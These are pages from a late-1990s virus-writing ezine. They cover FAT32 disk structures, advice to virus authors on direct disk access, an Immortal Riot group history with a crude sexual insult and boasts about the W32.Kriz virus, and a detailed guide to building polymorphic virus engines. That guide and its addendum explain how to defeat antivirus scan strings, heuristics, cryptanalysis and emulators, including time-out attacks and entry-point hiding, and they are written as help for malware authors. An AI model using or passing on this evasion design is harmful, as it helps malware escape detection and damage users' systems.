Well, let's have a look what is changed under FAT32. Of course, cluster numbers are 32bit. What anadvantage. However, as upper 4 bits of cluster number are reserved, gives at maximum 268,435,456clusters. This makes FAT very long, and slows down a DOS a lot, because it can't load all data into itsbuffers at once and forgots first entries it loads - and it has to load it again, forgetting newer entries, then toload newer once again: if you are familiar with caching algorhitms of victims - it is a classical example of fifo-bug. I'll divide my tour into some logical sections, covering what is new in all structures. Most of changes aredetermined by need of accessing big disks. Really big disks. It has something to deal with int13 address-space, bioses, and so on.

Partition tableThere are two main changes. At first, the code itself is changed for supporting a new accessing methods ofhuge disks. You have to think about of adressing space for accessing sectors on disc. May be some of youremember how the limit of 512MB was famousely broken. Maximum coordinates some time ago were:

6 bits for sector number (starting from 1) - max 63 sectors6 bits for head number (starting from 0) - max 64 headshowever this is slightly implementation dependent. In general description whole DH register used with13/02 (int 13, ah=02) should contain head number which allows 256 heads, but Award BIOS useshighest two bits of DH for highest track bits, and Ami as well as far as I know.12 bits for cylinder (starting from 0) - max 4096 cyls (or tracks)which also performs some kind of incompatibility, as original documentation refers 10 bits for tracks(max 1024) - CH plus 2 highest bits in CL, but most bioses I know uses also highest two bits of DH as

Page 27: EZine - Asterix #2

additional bits.

However, thinking about maximum 6/6/12 bits or 6/8/10 bits leads to same results. But some of the BIOSes(IBM based) supports only 4 bits for head, and, of course 10 bits for track. In result it is 63*16*1024 sectors(each 512 bytes) which is nearly the famouse 512MB limit.Those disks in old times uses disk managers in order to overcome this limit under all bioses (usualyemulates int13 call using controller commands performing LBA accessing). LBA introduced in that timemeans Logical Block Adress - avoiding old geometry adressing (track/head/sector) with logical sectornumber.Well, 512mb limit is over, but there is another limit - given by maximum accessible number of 3 bytes use forold-style access 63*64*4096 - an 8GB limit. By the way - MS-DOS (and Win95/98 as well, as it still relies onold dos routines) has trouble using head 255, and disks must be mapped as maximum 255 tracks (0..254which can be handles by msdos). Here you can see, how big is Microsoft's influence to hw manufactures -due to bug in very old OS the still presents hw which overcomes these problems. Moreover - none of disks Iseen within last 2 years uses real geometry but instead of it they use internal translation of geometry fromlogical that is indicated to bios and dos, into physical. Well, it is unbelieveable that todays disk has 255surfaces which means 128 physical magnetic disks with surfaces on both sides - how you can fit it into diskpackage aprox inch of height? ;-)

Well, back to 8GB limit of old style adressing (which must be there, otherwise DOS - and its graphicalfrontend called Windows can't be started). This can't be simply bypassed this way by increasing some bits. Anew routines for reading must be introduced. Have a look on current partition table code and read: A oldroutines 13/02 are still there, but preferable it uses new EDD functions (Enhanced Disk Drive - originalyfound in Phonenix BIOS, but available in AWARD as well). It is detected by calling 13/41, and accessible via13/42 using qword LBA for adressing sectors.This qword can't be extracted from old adressing bytes as there isn't enought bits to cover all the neededinformation. Thats why begining relative sector is used which has dword size. Of course, introduces a newlimit of 4G sectors = 2TB. Too bad, isn't it? Disk size is rapidly increasing, hope these structures will bechanged within next years.

Also there are four new filesystem codes for partition table entries for FAT32 disks:

0Bh - FAT32 (32bit fat, up to 2047GB)0Ch - FAT32x (same as FAT32, but uses LBA-logical block adress for accessing)0Eh - DOSX13 (same as 06h - 16bit fat for larger partitions than 32MB, but with LBA accessing)0Fh - DOSX13x (same as 05h - extended partition, but with LBA accessing)

Logical disc structureWe can now access disk and its sectors. A logical disks follows - organisation is nearly unchaned - forcompatibility reasons. A boot sector and reserved sectors take a place, two copies of FAT, and clusterscontaining directories and files. Now, as in whole FAT32 implementation I can present two news: bad oneand good one. Good one is that Microsoft is learning on his old mistakes and corrects them - root directoryhas no longer fixed position, and is located in separate cluster - so it can be expanded more than limitednumber of items like in previouse versions was. Bad news is that MS still stays on bad and unreliablefilesystem, with slow access, not statisticaly optimized for files typicaly used. Of course, there is NTFS butpeople still prefer FAT-based filesystems.

Page 28: EZine - Asterix #2

Boot sectorBoot sector is no longer a sector. Funny, isn't it? We should better call it boot record (or superblock for linuxfreaks) because now it is stored in first three sectors. Moreover it is usualy mirrored by default to sectors 6-8(a hotlink backup of boot sector) but its coordinates are stored in bootsector, so once it lost you generalycan't find a copy :-)Here are offsets and meaning of values in boot sector(s), presented in linear offset which means offset0x0200 means sector 1 offset 0x0000. Code is now stored in sectors 0 and 2.

0x0003: OEM ID (8 chars) usualy "MSWIN4.1" (or 4.0 for Win95)0x000B: bytes per sector (word) always 512 for hard-disks0x000D: sectors per cluster (byte)0x000E: reserved sectors at begining (word) usualy 32 but can vary (with sector 0)0x0010: fat copies (byte) always 2 for hard-disks0x0015: media descriptor (byte) always F8 for hard-disk0x0016: sectors per FAT (word) 0 for FAT32, as FAT can be really long0x0018: sectors per track (word) default contains translation mode values0x001a: sides (word)0x001c: special hidden sectors (dword) usualy 630x0020: big total number of sectors (dword)0x0024: big total sectors per fat (dword)0x0028: FAT flags (word): 0-based number of Active FAT - i.e. fat beeing in use (bits 0-3) valid only ifmirroring (bit 7) is disabled, bit 7 - FAT mirroring enabled, bits 4-6 and 8-15 are reserved. In otherwords, you can avoid using fat copy that contains physicaly damaged sectors - but someone have toturn it on :)0x002a: filesystem version major (byte)0x002b: filesystem version minor (byte) - 0.0 I saw so far0x002c: first cluster of root directory (dword)0x0030: FS sector number (word) - usualy 1 - where rest of boot record is stored - FileSysteminformations (0FFFFh if there is no FSINFO sector, otherwise must be more than zero and less thanreserved sector count)0x0032: hotlink - backup bootsector (word) - usualy 6 (same as above: 0FFFFh for no backup,1..reserved-1 otherwise)0x0040: physical drive number (byte)0x0042: extended boot record signature (byte) - 0x290x0043: volume serial number (dword)0x0047: volume label (11 chars)0x0052: filesystem ID (8 chars) - "FAT32 "0x01fc: signagture (dword) aa5500000x0200: extended boot signature (dword) - 41615252 "RRaA" (wow! no Mark Zbikowsky and his 'MZ'-everywere anymore, seems Bill employed someone else ;-)0x03e4: FSINFO signature (dword) - 61417272 "rrAa"0x03e8: free cluster count (dword) - as it takes long time to go through whole FAT, number of freeclusters is stored here (0FFFFFFFFh if unknown)0x03ec: next free cluster (dword) - to speedup free space lookup0x03fc: FSINFO ending signature (dword) aa5500000x05fc: signature (dword) aa550000

FAT - 32bit File Allocation Table

Page 29: EZine - Asterix #2

by skipping reserved sectors (usualy 32) you can reach file allocation table. Rest of reserved area is cleared,only boot sector(s) and its backup can be found there so far. But in future, who knows. Signature itself startswith known F8 FF FF 0F pattern. First cluster can't be used (as from passed), its value in fat is initialized toFF FF FF 07. The rest contains fat data itself, starting for cluster 2 at offset 8 in fat. Principle of fat lookup issame as before, but now uses structured 32bit value: 4+28bits, low 28 bits for cluster number (FFFFFFF forend of chain, FFFFFF8 for bad), upper 4 bits are reserved and Microsoft requires to preserve them whenmodifying FAT entries. Representation in stored form is, for example, FF FF FF 0F for end-cluster.FAT can be very long - up to several thousands of sectors, which of course slows down all operations. Ascaching it takes lots of memory, which is unreal with buffers available under DOS. But this makes disks tosurrive CIH's attack, as it destroys first 2000 sectors of disk, but if you have FAT32 (really long), second copyof fat is usualy untouched - all you need to do to repair disk after CIH is to copy second fat into first, constructboot sector (copy from other disk an type-in correct values) and write some numbers into partition table.Resulting few minutes of work - and disk is repaired like nothing happened. With infected files of CIH too, ofcourse ;-)

Directory entriesI will not speak about LFN entries, as they are already well known I think. All I want to describe where the32bit cluster value is stored. Low part of cluster number is at the original location, word at +1a bytes indirectory entry. High word is stored at +14 in this entry. Both of them are real index into fat, like under oldfat16/12 system. I also should mention, largest possible file on FAT32 is 4GB minus 2 bytes.

My short description is now over. Are you happy about FAT32 features? Where the hell are features? All isdone as usual - Microsoft extends all stuff in order to keep it working, keeping all fears alive. There is no wayto relyie on old traditions but MS breaks the limits - just like with dos7 and its graphical interface - keeping allthe bugs as tradition that came from win 3.1, old dos, cp/m, etc, etc...

flush

Page 30: EZine - Asterix #2

MGL originally placed here my older routines to read/write directly to controller and afterwards I added afat12/16/32 emulator. However, I decided to throw it all away and better to discuss why I throw it away.Because it simply can't work...Let's start with a little question: Do you use direct disk access in your piece of work? (or would you like to?)Don't do that! There are many reasons why - but you have to think a bit and you'll sure find some of them.

A time ago virii beats each other in tricks how to pass blocking systems, to write on such a disks, or not to becaught by resident scanners. Today this idea also looks good - to access disks without having operatingssystem know about it, you'll not be found by any resident avir of course (under Windows as well). Its likeentry-point tunneling routines. They usualy works - but only under laboratory contitions. And you have to beprepared for real life. If vx can't surrive in real, it is unusable - no matter if it replicates on your machine onceit doesn't work on others.

The reason is simple - Microsoft designed all its residental drivers and windows modules in a same way -placing all one over another, without exactly defined interface, so anyone can do what he wants as long as heis consisted with upper and lower level. Yeah, it works well, but you have to: take care about order of loadingof such a modules, know what is each module for and what data it has cached. And this is why it can't workunder DOS nor Windows.In dos, for example, nearly every filesystem-based utility had to be resident on interrupt 21 creating somesort of chain of drivers, one depending on another. There is also posibility to register some of yourdispatchers directly into dos, but you had to know internal dos stuff to do so - and it is of course slightlylimited (but is a bit a thing I mean). Well, so there are many drivers hooked over int 21, cache, novell netwaredisk, resident antivirus (thats why we talk about it too). You can write some cute program that can work ondisc without all this I mentioned (no matter if you are just bypassing some drivers, or directly emulationfilesystem) - on more complicated systems like I mentioned before you will cause a disk-crash. At first, youcan't access disks created by such drivers. Then, driver might have something in their buffers, and you haveno possibility to tell them to flush them. In this case, for example writing to disk a data area that is alsocached by some cache program, and in couple seconds later, cache flushes its buffer to disc discarding yourchange. And if it happens in FAT - you can easily imagine what can happen. Of course, there is possibility tocomunicate with such a programs, but as there is no common interface, you can't communicate with all-in-the-world drivers. And your virus can be easily noticed by a disk inconsistency or even disk crash this way.Conclusion? Well, you can do some direct things under dos, but remember always to keep everythingconsistent - not only with programs you have on you computer, but with programs other users may have.

Under Windows 9x is this situation a bit simmilar. At first, to avoid direct hardware manipulating and to keepsystem more consistent there is a hardware virtualization. But you surely know how to fool it - it is quite easyas you can enter Ring 0. As more things are integrated into windows now (networking, variouse disks areattached using hardware device manager, cache is build-in, etc) these things becomes more unimportantevery day. And finally, third-party programmers now produces plug-ins for this OS (Windows) instead ofextensions (like for DOS). However, I heard some ideas to access disk directy but the reasons why it will notwork are same as above. Also a disk access dispatcher entrypoint can be rehooked as well under Windows

Page 31: EZine - Asterix #2

but if you want to bypass software that is resident in this way, keep in mind you have to do it consistently aswell...

And... Good luck and don't be caught by lusers due to problem in your piece of work you didn't figure about...

flush

Page 32: EZine - Asterix #2

IntroductionFirst of all, let me inform you that this is no "Diary version II" contribution to this excellent zine. It is just anefford in keeping good, healthy traditions alive, if there's is such a thing.

Anyways, since Mgl asked me to write a little something about "What's up since IR/G?" I couldn't deny himthat. If you feel like you don't want to hear anything further concerning Immortal Riot and are sick tired of my(I=The Unforgiven) contributions stop reading right now. Then execute some nifty version of w32.Kriz onyour imaginary-girlfriends' computer, connect to your virtual social life and try to hack your way out from yourpity life and if you can't, well go fuck your boyfriend in his arse so you'll wake up the next morning with drycum in your hair and shit and pubic hair in your right nosdril.

If you however decided to continue reading, live long and prosper!

BackgroundImmortal Riot was formed in 1993, which in a few words is quite some time ago. Think about 1993 for a fewseconds. 1993 lacked a lot of things we today are taking for granted. To name a few examples, email, www,cellular-phones, Fast-Ethernet, Video-on-Demand, MP3, JAVA, Pentium, CD-recordable-devices, DOOM,digital&web-cameras, distance-jobs, online shops/zines/banks, the official Immortal Riot homepage, cheapmedia and other things.

The bad old times? Of course, some of you folks could actually access a few of the things mentioned above, but the scene wasvery different "back then". People would call different 'underground' BBS'es (often with) calling-cards andupload different stuff (often warez) and BBS-sysops would have a few "mail-nets" (like CCi/NuKE/FIDO) andeverything worked OK with a 14400 bps modem.

This is now considered the stone age and even though I liked playing games like Civilisation and WOLF-3D,writing trivial COM infectors, plaguing fido-net and so on, it comes a time when one realises that it's time tomove on. When others moved on my learning JAVA, HTML, CGI, setting up www&ftp-sites, coding virusesfor other platforms than DOS (Win95) I decided to take a step back and learn other things in life.

I did however felt that Immortal Riot deserved to live on even though I decided to drop. I left the organisationto Sepultura and things was going steady, but Sep was left on his own and did pretty much about everything.I guess he felt like he needed some assistence and after a while IR turned IR/G as a possible solution. IR/Greleased Insane Reality #8 and now we've reached the topic for this article.

What's happend since IR/G Since IR#8 all members of IR/G once again turned lazy and decided to hang lose (i.e. do nada and enjoy thefame of being in the leete group IR/G. *joke*...). Well, the truth might be something like this. IR/G wasorganised by Rajaat and Sepultura and they had both been around for some time and perhaps they didn't

Page 33: EZine - Asterix #2

feel like organise IR/G anymore. I can't really answer why IR/G turned out as a failure since I wasn't aroundmuch but fact is that after a while (I dunno exactly how long) we (Immortal Riot) splitted with them (Genesis)due to unknown reasons and everything was silent (from both groups) for a very long time..

However, since "We splitted with Genesis due to unknown reasons" isn't exactly what I believe Mgl would liketo publish in an article-entry I felt like had to ramble on about some other things and far more interestingthings, for example where we're now.

Immortal Riot 1999 You could say that IR have a lot of members. I don't quite know exactly who're a member and who are notbut that's not really important either. What's more important are the active ones.

T2 are responsible for a lot of good, naughty viruses which all has tormented to world and the best exampleis perhaps w32.Krized. It's been reported here, there and everywhere and even though it only fuck-ups thecomputer once a year (go check when on http://www.coderz.net/ImmortalRiot) it has caused a bit of panic.

T2 joined IR about a year ago and has ever sinced been giving computer-users around the world a hardtime.

Another new member is Captain Zero and we are all waiting for his projects to be distributed.

Then how about Insane Reality ? Well, what can I say... If someone feels like organising a zine, pleasecontact me. We have a lot of code to publish but lack some text-material. It's a great challange and a greatfun to release a zine and you shouldn't miss this oppurtunity! If you currently not are a member of IR this issomething that could be arranged.

IR for the future I have no clue, the future tend to have a few suprises up hers sleeve so I won't dare to mention anythingabout it. If you know something I don't, don't hesitate to mail me ([email protected]).

GreetsGreets goes to every one in who hanged on efnet #virus back in 1994 and actually TALKED andBREATHED viruses! :). Please Email-me!

Of course, greetings to all new IR members who can continue where the old-timers left off and bear ourcolors with a great pride!

Special thanks must however go to T2 for being an excellent representative of Immortal Riot. God bless you!IRONY! :).

How to contact us I can be reached on my hotmail adress, which is [email protected].

All changes, code-updates and other new information will be up at our official site located athttp://www.coderz.net/ImmortalRiot (where other IR-members also can be reached).

Disclaimer

Page 34: EZine - Asterix #2

This is only my version. If you think it's false, fake, untrue, or whatever, write me a little something and we'llsomehow fix that. Don't held me responsible for being a goofball :).

Closing Words Enjoy the next millennium, your life, your time on the earth, don't waste it, do whatever makes you happy andnever hesitate to leave things which aren't healthy for you.

- The Unforgiven/Immortal Riot.

Page 35: EZine - Asterix #2

This article deals with a viral technology that has been widely documented, discussed and implemented.However, it is aimed at explaining certain design flaws in current polymorphic engines and proposingsolutions for these flaws, as well as suggesting improvements to current technology. The discussion will present an overview of the history of polymorphism pertinent to our subject, anti-virusdetection methods, and will present concepts needed for properly designing polymorphic engines with a viewto their survival in the wild. It will also include a section on structuring and writing polymorphic engines.

The Evolution Of Polymorphic Engines And Their Significance.The history of polymorphism began with experimentation. Virus authors recognised the susceptibility of theirviruses to scan strings and encrypted their code. Even then, the decryptors were fixed, so anti-virus softwaregenerally had little trouble with a virus that was analysed and for which a scan string was extracted. Anumber of authors would rewrite their viruses to create strains which weren't scanned for at the time. Aselect few, however, started experimenting with new technology. A German programmer going by the handleof ~knzyvo} implemented dynamic encryption into his Fish family. The Whale virus, however was a morenotable event. 30 different encryptors were used for this virus, which meant the anti-virus researchers had toinclude multiple scan strings. Dark Avenger's Phoenix family would modify bytes of their own decryptors,thus forcing anti-virus software to use wildcard scan strings. An American anti-virus researcher named MarkWashburn wrote a family of viruses that would generate a different decryptor altogether for every time thevirus would replicate.

The real breakthrough in polymorphism was, though, the release of Dark Avenger's Mutation Engine, or MtE.This engine was distributed in a form of an object linkable to a file, and was what started the revolution in theway viruses were written. Anti-virus researchers were at a loss. The traditional methods of detection wereobsolete, since this engine would have needed 4.2 billion signatures, many of which might be present inlegitimate programs. Instead, most anti-virus researchers opted for methods like algorithmic scanning -checking whether or not code in question could be produced by a polymorphic engine. Several months later,anti-virus software couldn't reliably detect MtE-generated decryptors.

A second blow came to the anti-virus industry with the release of Trident Polymorphic Engine, written byMasud Khafir. A more complex algorithm was used for producing encryptors, and again, anti-virusresearchers were left with the task of reliably detecting TPE. While the decryptors themselves weren'tparticularly sophisticated, they could easily be mistaken for encryption used in commercial software, andlater, several other engines would be mistaken for TPE samples.

A new concept was introduced in 1993. Neurobasher's new Tremor virus spread widely in Germany. Itseemed to researchers that a suitable algorithm was devised for its detection, yet, the virus continued toelude scannes in the wild. After thorough analysis of the virus's code, it was found that instead of generatingrandom numbers, Tremor would use relatively immutable data to create its permutations. New strains wouldbe generated every, say, full moon or on infecting a new system. This meant that the anti-virus researcherswould need to spend even more time and effort on analysing a polymorphic virus lest they release anincomplete algorithm.

Page 36: EZine - Asterix #2

Meanwhile, across the channel, a British virus writer known as the Black Baron released his polymorphicviruses built around an engine called SMEG. This engine introduced the concept of generating decryptorswith large amounts of junk instructions present in the decryptors. Once again, scanners had difficulty whenconfronted by a new polymorphic beast. It took a much longer time to analyse a piece of code and determinewhether or not it was encrypted by SMEG by picking out the decryptor from the junk. [MGL's note: If you take closer look on SMEG, you will get the point - generated decryptors are huuuuge ]

From 1992 to 1994, an unknown researcher in Uruguay busily created a family of 10 viruses, each morepolymorphic than the last. The novelty of his approach rested in tracking the code that was generated, andproducing decryptors that looked even more like the real thing. It became difficult to distinguish polymorphicdecryptors from real code.

Another 1994 engine that made a significant impact on the anti-virus industry was DSCE. Dark Slayer statedthat his decryptors contained no loop, key, or start-up values. In a way, he was correct. However, it's anexaggeration of what the engine really did - these structures were concealed in a massive (at the time)decryptor by point-encrypting the opcodes that resembled a decryptor loop. Once again, scanners wereslowed down by having to analyse the decryptor in depth.

While there are several other polymorphic engines just as technically advanced as those mentioned aboveand the authors of which deserve just as much recognition, these are the ones that we need to illustrate thedesign of a solidly built polymorphic engine.

Polymorphic Virus Detection Methods.So, what methods are used to detect polymorphic viruses in the wild? And what weaknesses of thepolymorphic engine design do they exploit? These are questions particularly interesting to any aspiring writerof a polymorphic engine. It must be understood that anti-virus software developers often implement thelowest-grade working solutions. For instance, when Whale appeared, multiple scan strings were usedinstead of an algorithm. When MtE appeared, an algorithm was used instead of more sophisticated methodsof analysis such as single-stepping through the decryptor or emulation of the decryptor code. So, a virussufficiently advanced to defeat currently available methods of detection would instantly get a time windowthat would give it a chance to spread in the wild. Well, let's take a look at what we're up against.

Scan stringsthis is something a designer of a good polymorphic engine should not worry about. You do need tokeep in mind that any sort of structured code fragments in your engine, such as anti-debugging code oranti-emulation code can be scanned for and used to aid a scanner in analysing a piece of code. A smallset of fixed chunks of junk code can also be detected if the decryptor is scanned with several scanstrings that allow for wildcards.

Algorithmic analysisagain, something not commonly used in our day and age. This works by analysing the code, anddeducing the file is infected (or not infected) if certain conditions are met - for instance, if a decryptorstructure is recognised or if the scanner finds an opcode that couldn't have possibly been generated bythe engine.

Statistical analysisthis is a specialised form of algorithmic analysis that counts up the incidence of certain opcodes andcode structures. This method is still used quite heavily in heuristic engines to set off an alarm if a filecontains code that does not "look" naturally written or generated. Of itself, it is of little use.

Page 37: EZine - Asterix #2

Int 1h tracingalso known as single stepping. I don't know of any anti-virus scanner that uses this antiquated methodof examining the code, however, Thunderbyte's TbClean program utilises the int 1h single-step modeto disinfect files. Defeating this method is simple enough, but it's usually not worth including the code,simply because it's so little-used.

Cryptanalysisattemps to crack the virus's encryption and find a scan string underneath. While it's rarely used, it canbe very effective against a fair number of polymorphic and encrypted viruses. Once again, though,defeating it isn't usually worth the effort.

Heuristic scanningthis method was originally developed to find viruses unknown to the virus scanner in question.However, the anti-virus software designers have caught on and are now using it to detect unnaturallooking code which is often found in decryptors of polymorphic engines.

Emulationthis is the method currently relied on by anti-virus software to detect most polymorphic viruses. A pieceof code performs the function of a fairly complete CPU and executes the code in question in acontrolled environment until it deduces it has emulated far enough, at which point a scan can beperformed for a fixed signature. All the work that went into a polymorphic engine goes rightdown thetoilet bowl.

Polymorphic Virus Detection Countermeasures.A properly designed engine should aim to generate code that is as obscure and difficult to detect as possible.Here's a simple point-by-point guide to stopping most detection methods.

Scan stringsthis is should be avoided by proper engine design. By proper engine design, I mean that any and allcode produced by the decryptor should be completely variable - at least one alternative per everyopcode that is used for any structure.

Algorithmic analysisthis should be combatted by including at least 80% of all 80x86 opcodes, and all of the commonly usedopcodes. The more variability here, the more difficult it is to disqualify a file as a potential carrier of theengine, therefore it becomes difficult to identify all of the infected files without false alarms.

Statistical analysisthis also depends on how the engine is structured. A few engines include a lot of one-byte instructionsthat mess around with the flags, nop's, hlt's, lock's, or whatever. Do not do this - any statistical scannerworth its salt will pick out the file with 25 nop's and 19 clc's in a 380-byte area of code. I'll elaborate onthis in the section that describes the engine structure.

Int 1h tracingthe countermeasures for this are well-known. Most stack modification instructions, flags tests and othersuch anti-debugging tricks will stop a simple tracer. Prefetch queue tricks are inadvisable to use heresince it is difficult to design ones that will be compatible with all processors, past, present and future.

Page 38: EZine - Asterix #2

Cryptanalysisthis technique relies on the fact that a lot of viruses will encrypt their code with simple operations like asingle 8-bit xor loop. This is often true. However, doing several mathematical operations on every bytewill quite easily defeat this method, as it will need to try a large number of combinations to find the rightencryption algorithms and keys. The use of sliding keys once again makes the job more difficult, as theright key modification operation has to be found for every loop.

Heuristic scanningthis relates to statistical analysis, especially so in polymorphic engines. The key to avoiding producingheuristically sensitive decryptors is structuring the engine in a way that would ensure that the generatedcode appears to look like natural code written by a human being and assembled by an assembler. Thismeans, among other things is that all of the opcodes a polymorphic engine generates must be in theirshortest form. A point that must be noted here is that heuristical analysis is used to determine whetheror not the code should be emulated. If your virus passes the heuristic checking, it won't be emulated tostart with, or the emulator will stop before the virus is decrypted. The two are a part of one mechanism,where defeating one will stop analysis completely.

Emulationdefeating this method alone will significantly reduce the number of your virus samples anti-virusprograms X, Y and Z will detect. To defeat this method though, one must have a good knowledge of theemulation system or systems in question. Well, here's the good news: the emulation systems used inanti-virus software are quite inferior in that they are often incomplete, sometimes buggy. This is mostoften intentional. Why? Well, most encrypted or polymorphic viruses use a limited instruction set in theirdecryptors. This means there are instructions left out of their instruction sets. The wider variety ofinstructions your polymorphic engine can generate (in context, of course), the better the chance ofstopping an emulator. Emulators will also restrict the virus's function, so something as simple as writingto a memory location and testing the write can detect an emulator's presence. However, there's a moreserious threat to an emulator attack. Most emulators are designed for speed. Therefore, a counter-attack on an emulation system that will always be effective should be designed to bleed off as much ofthe time as possible. This accomplishes two goals - the user will prefer a fast, unreliable scanner over aslow and reliable one, and it would take an emulator a long time to detect the virus decryptor. Ofcourse, an emulator could time out assuming it's emulated the code too far and quit emulating, which isa complete victory for the virus author.

An example time-out attack could be orchestrated in the following fashion. The virus is encrypted and writtento disk, but the key is not saved. To derive the key, some sort of checksum of the unencrypted code issaved. The virus is decrypted with a random key, the checksum is calculated, and the two checksums arecompared. If the two checksums do not match, the virus is re-encrypted with the reverse operation and theprocess is looped back. This makes for a larger, more sophisticated loop, which an emulator must gothrough hundreds of times, magnifying the relative slowdown. Anti-virus emulators are built with avoidinginfinite loops in mind, so perhaps an emulator will skip such a structure. [MGL's note: For example Spanska's IDEA.6126 uses above described approach ]

Another time out strategy is building complex decryptors. This will be further explained in the sectiondedicated to engine structure, but the premise is that the more code the emulator has to execute, the slowerit will be. Therefore, a decryptor containing a moderate number of conditional jumps, calls to subroutines,and other such structures will be slower to emulate than one that's purely linear.

Designing And Structuring A Polymorphic Engine.

Page 39: EZine - Asterix #2

A polymorphic engine is no trivial task to write. Much of the overhead can be reduced by setting down anappropriate structure for the engine and organising it according to that.The function of a polymorphic engine is to encrypt a piece of code and produce a decryptor that will thendecrypt the encrypted code. The decryptor that is produced must be as variable as possible. To achieve this,and to make analysis more difficult, a polymorphic engine will usually be written to produce:

Decryptor loopone or several loops in the actual decryptor code that would be selected from one of several loop typeswhere the individual instructions withing the loop would be modified. The algorithms used to performthe en/decryption would range from common XOR loops to esoteric int 1h tracers that would decryptindividual opcodes as they were executed.

Junk instructionsopcodes written in before, after or in between the decryptor loop itself to disguise the presence of thepolymorphic decryptor in the infected file. This has traditionally been a problem area for mostpolymorphic engines, as the junk produced was not within the statistical bounds of regular code. Morerecently, virus writers have paid more attention to this, and more complex code structure has beencreated by latter-day polymorphic engines.

Armouring codethis has been widely explored, and the approach here was to traditionally generate code fragmentsranging from stack tricks to int calls. The purpose here has been to stop analysis by anti-virus softwareand people analysing the decryptor, either by using an emulator or a real-mode debugger that wouldstep through the code by utilising the 80x86 single-step mode.

Anti-heuristic codeI've seen only a couple of engines that use this particular sort of code. The purpose here is toobsfucate the decryptor by concealing the actual decryptor instructions.

Here, I would like to both compliment a virus writer for his achievement and expand on his idea to suggest anew design standard for advanced polymorphic engines. Almost 4 years ago, a virus was published in anunderground virus exchange e-zine called 40Hex. The name of this virus was Level-3, and the author wasthen-famous Vyvojar, who had by then firmly established himself with the notable One_Half virus. [MGL's note: according the Vyvojar One_Half virus was written to demonstrate virus with maximumspreading abilities while One_Half successor Level-3 was demonstrating use of hardcore poly encryption. ]The design of the engine was revolutionary - the engine would generate the decryptor code, and thenemulate it to determine the instruction flow. This concept is quite similar to the ideas I was working on atthetime, which leads me into the design structure of an engine that would be extremely resistant to mostanalysis methods.

First of all, all of the code the engine generates would have to be emulated by its own internal emulator. Thismeans the contents of the registers can be quite easily tracked by the emulator and the levels of complexitywill be increased to a great degree. For instance, when a value like a key, start of the encrypted area, or anysuch area is required, the engine can quite simply fix up the values already held in the registers. The valueson the stack would be emulated too. The possibilities here are really much bigger than the simple variationthat can be achieved by setting down sets of rules for generating code.

Secondly, all of the 8086 opcodes should be produced by the engine. However, they should be produced indifferent frequencies - for instance, an average decryptor would usually contain about 80% of the 8086

Page 40: EZine - Asterix #2

instruction set, with the remaining 20% generated in 1 out of 20 samples. The garbage generation can behandled by building tables which would be accessed with different probabilities. Of course, producing 80386+opcodes, or floating point coprocessor instructions would increase both variability and make the engineharder to emulate. Remember, no emulator is perfect, and most anti-virus emulators cannot handle complexinstruction sets in decryptors.

Thridly, the structure of the decryptor itself should be complicated by such things as calls and conditionaljumps. The reason for this is quite simple - it facilitates emulator slowdown. For example, 3 calls to a 20-bytesubroutine are equivalent to 69 bytes of code. Conditional jumps are very useful for slowing down theprocess too. Emulators will attempt to emulate every path that is available if it cannot be predict the directionof the jump - a technique known as path emulation. One jump that cannot be predicted by an emulatormeans the decryptor will have to be emulated twice. Two such jumps mean the decryptor will have to beemulated four times. Structures like this ensure that a small decryptor may take as long to emulate as a verylarge decryptor.

Finally, a word about layers. It seems that a lot of people believe a higher number of layers will ensureadequate protection. This protection is only there in so far as the emulator will simply take as long to emulatethe layers as it would for a single decryptor of the collective size of these layers. There is a restriction on thelargest possible size or the largest number of layers that has to be made, and it seems optimal to maintainonly two layers, one to fool heuristic scanners into thinking it's legitimate code and decrypt the second one,and the second being a simple cyclical decryptor for the rest of the virus.

I hope that this has given you an insight, insiration or ideas to implement. Good luck with designing your newsuper-polymorph. ;)

Special thanks to MGL, Pockets and Owl for their invaluable ideas and suggestions.

Greetings fly out to all my friends in the scene.

This document is © 1998 Buz [FS], and may be distributed so long as the correct copyright of this documentis stated, and it is not modified in any way. Any medium in which this document is distributed in must be free.

Page 41: EZine - Asterix #2

Polymorphism is for viruses one of the must. Buz[FS] brings us some valuable ideas for the coding. Hispaper is very consistent and good written. But there are several ommited things that we should mention.

Brute-force decryptingInteresing idea of complicating scanning, first it was shown in real life by virus IDEA - because it usescryptographic algorythm named Idea to encrypt its body. It pushed time of emulation of such a decryptor tothe limits so antivirus will abort its emulation on time-out. Because even virus itself doesn't know decryptorkey and it tests all combinations to find it out. It tooks for example a second, but for emulator in antivirus it willtook tens or even hundred of seconds - which is not acceptable of course. But you should keep in mind that itis enought for antivirus to detect decryptor (or even less specific things) to signalise a virus, and there is noreal need of such brute-force key finding for antivirus. But if this algorythm is polymorphics enought andantivirus can't detect any scheme in it, this will really work pretty well.You should also keep in mind to use a good cryptohraphic algorythm (not a simple xor) becase otherwiseantivirus can perform a cryptographic analysis faster than is your key-finding routine.

Opcodes variabilityYou can hear in these days: this poly engine uses fpu instructions, another poly engine uses pentiumopcodes, and other one using mmx opcodes. All this sounds good, but is not compatible at all. For exampleolder Cyrix or AMD cpus doesn't have MMX at all. And there are pentiums without mmx and even 486s aswell. On those your virus will hang - ant that is best way of its detection by lame users.Yes it is good to use many specific opcodes, because it will be harder to identify and harder to trace.However you should not use opcodes that are incompatible. How to solve this? Well, my suggestion is tohave some extra opcodes enabled by a special flags. Because PEs are basical i386 compatible, you shouldstay at this level for regular files. But when a virus is going to infect system files to establish itself a home onnew computer (like installing to DLLs or VXDs), you can use as many opcodes as current machine supports.Because there is no chance (or very little) that these files will leave current computer. But for transferingvirus, you don't know what processor target machine have and you should stay as compatible as original fileyou are infecting is (to check a CPU flag in PE header). For these reasons, you can read another our articleabout opcodes.

Entry-point hidingNow, we have to break most common definition of polymorphism associated worldwide. Everyoneunderstoods that polymorphics virus means virus stored in file with fixed body, with generated decryptor todecode fixed body. It is used to prevent easy detection of body instead of it, a generated decryptor must beanalysed and detected. But it is not right. This is only way how everyone knows it, however there are alsoother techniques that breakes this rule. Entry-point hiding, firstly very successfuly demonstrated in DarkAvenger's (in fact inventor of now known polymorphism) piece of code called Commander Bomber.Commander bomber leaves its body completly visible (what a lucky for avers), but you dont know where itactually is. It infects only com files, so whole file can be scanned of course to detect it (a weak point of this

Page 42: EZine - Asterix #2

virus), but in general you don't know where the body is: there are several fragments of code, place anywherein host file, that are connected with jumps, contitional jumps and call/rets as well. As it is generated (as wellas for classic polymorphical engines) it is hard to identify if fragment of code belongs to Commander Bomberor not. Commander Bomber uses excelent code generator but imho Darkie wanted not to have it encryptedto simplyfo work of avers. No matter now.This technology is hard to scan, because antiviruses are not loading a whole file (imagine running this on1mb PE), and simply can't reach body by following all code fragments.

